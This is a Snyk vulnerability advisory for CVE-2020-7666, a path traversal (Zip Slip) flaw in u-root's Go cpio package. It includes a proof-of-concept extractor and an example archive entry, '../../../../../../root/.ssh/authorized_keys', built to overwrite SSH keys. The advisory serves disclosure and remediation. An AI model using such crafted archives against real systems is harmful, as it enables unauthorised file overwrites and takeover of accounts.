Arbitrary File Write via Archive Extraction (Zip Slip) Affecting github.com/u-root/u-root/pkg/cpio package, versions <0.9.0
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Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMUROOTUROOTPKGCPIO-570440
- published 1 Sep 2020
- disclosed 1 Sep 2020
- credit Georgios Gkitsas of Snyk Security Team
Introduced: 1 Sep 2020
CVE-2020-7666 Open this link in a new tabHow to fix?
Upgrade github.com/u-root/u-root/pkg/cpio
to version 0.9.0 or higher.
Overview
github.com/u-root/u-root/pkg/cpio is a package that provides Go versions of standard Linux tools and bootloaders. It also provides tools for compiling Go programs in a single binary and creating initramfs images.
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). It is vulnerable to leading, non-leading relative path traversal attacks and symlink based (relative and absolute) path traversal attacks in cpio file extraction.
PoC
// poc.go:
package main
import (
"io"
"log"
"os"
"github.com/u-root/u-root/pkg/cpio"
)
func main() {
archiver, err := cpio.Format("newc")
if err != nil {
log.Fatalf("Format -H newc not supported: %v", err)
}
var inums map[uint64]string
inums = make(map[uint64]string)
rr := archiver.Reader(os.Stdin)
for {
rec, err := rr.ReadRecord()
if err == io.EOF {
break
}
if err != nil {
log.Fatalf("error reading records: %v", err)
}
if rec.Info.FileSize == 0 {
if _, ok := inums[rec.Info.Ino]; ok {
err := os.Link(inums[rec.Info.Ino], rec.Name)
if err != nil {
log.Fatal(err)
}
continue
}
}
inums[rec.Info.Ino] = rec.Name
if err := cpio.CreateFile(rec); err != nil {
log.Printf("Creating %q failed: %v", rec.Name, err)
}
}
}
- Build the executable
go build poc.go
- Run
./poc < archive.cpio
with "archive.cpio" being a cpio archive that includes at least one of the following:
- file with filepath that uses leading or non-leading "../"
- file symlink that point outside of the current directory (relative or absolute)
- directory symlink that point outside of the current directory (relative or absolute) followed by a file under that directory
Details
It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
+2018-04-15 22:04:29 ..... 19 19 good.txt
+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys